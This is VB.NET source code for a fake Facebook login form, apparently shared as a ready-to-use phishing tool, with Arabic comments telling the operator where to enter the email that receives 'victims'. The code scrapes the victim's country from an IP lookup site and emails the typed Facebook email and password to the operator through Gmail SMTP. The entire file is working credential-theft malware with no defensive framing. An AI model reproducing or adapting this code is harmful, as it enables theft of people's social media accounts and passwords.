CODE FB

Imports System.Net.Mail
Imports System.Net
Imports System.Text.RegularExpressions

Public Class Form1
    Dim myemail = "" ' هنا تضع الاميل اللدي ستصلك له الضحايا
    Public Function getcountry() ' get country function by YASSINOX_TN
        Try
            Dim web As New WebClient
            Dim n As String = web.DownloadString("http://whatismyipaddress.com/")
            Dim pattern1 As String = "(?<=Country:</th><td style=""font-size:14px;"">)(.*?)(?=</td>)"
            Dim m1 As MatchCollection = Regex.Matches(n, pattern1)
            Dim i As String = 0
            For Each m In m1
                Return (m.ToString)
            Next
        Catch
            Try
                Dim web As New WebClient
                Dim ip As String = Web.downloadstring("http://stamped-security.cf/ip.php")
                Return (ip)
            Catch
                Return ("UNKNOW")
            End Try
        End Try
    End Function

    Public Function sendmail()
        Try
            Dim fromemail As String = "Don't Change This !"
            '---
            Dim fromename As String = "YASSINOX.MAILER"
            '----
            Dim smtpemail As String = "" ' هنا ايضا تضع ايملك بالجيميل
            '----
            Dim smtppassword As String = "" ' هنا تضع باسورد الجميل الخاصة بك
            '----
            Dim subject As String = "YASSINOX : NEW FACEBOOK LOGIN FROM [ " + getcountry() + " ]"
            '----
            Dim server As String = "smtp.gmail.com"
            '----
            Dim port As String = "587"
            '----
            Dim MyMailMessage As New MailMessage()
            MyMailMessage.From = New MailAddress(myemail, fromename)
            MyMailMessage.To.Add(myemail)
            MyMailMessage.Subject = (subject)
            MyMailMessage.IsBodyHtml = True
            MyMailMessage.Body = ("<center><font size=5 color=blue>YASSINOX > FACEBOOK LOGIN <</font></center><hr> <br><br> <font size=4>FACEBOOK EMAIL > " + TextBox1.Text + "<br><br> FACEBOOK PASSWORD > " + TextBox2.Text + "</font><br><br><br><hr>")
            Dim SMTPServer As New SmtpClient(server)
            SMTPServer.Port = port
            SMTPServer.Credentials = New System.Net.NetworkCredential(smtpemail, smtppassword)
            SMTPServer.EnableSsl = True
            SMTPServer.Send(MyMailMessage)
        Catch
        End Try
    End Function
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        sendmail()

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        getcountry()
    End Sub
End Class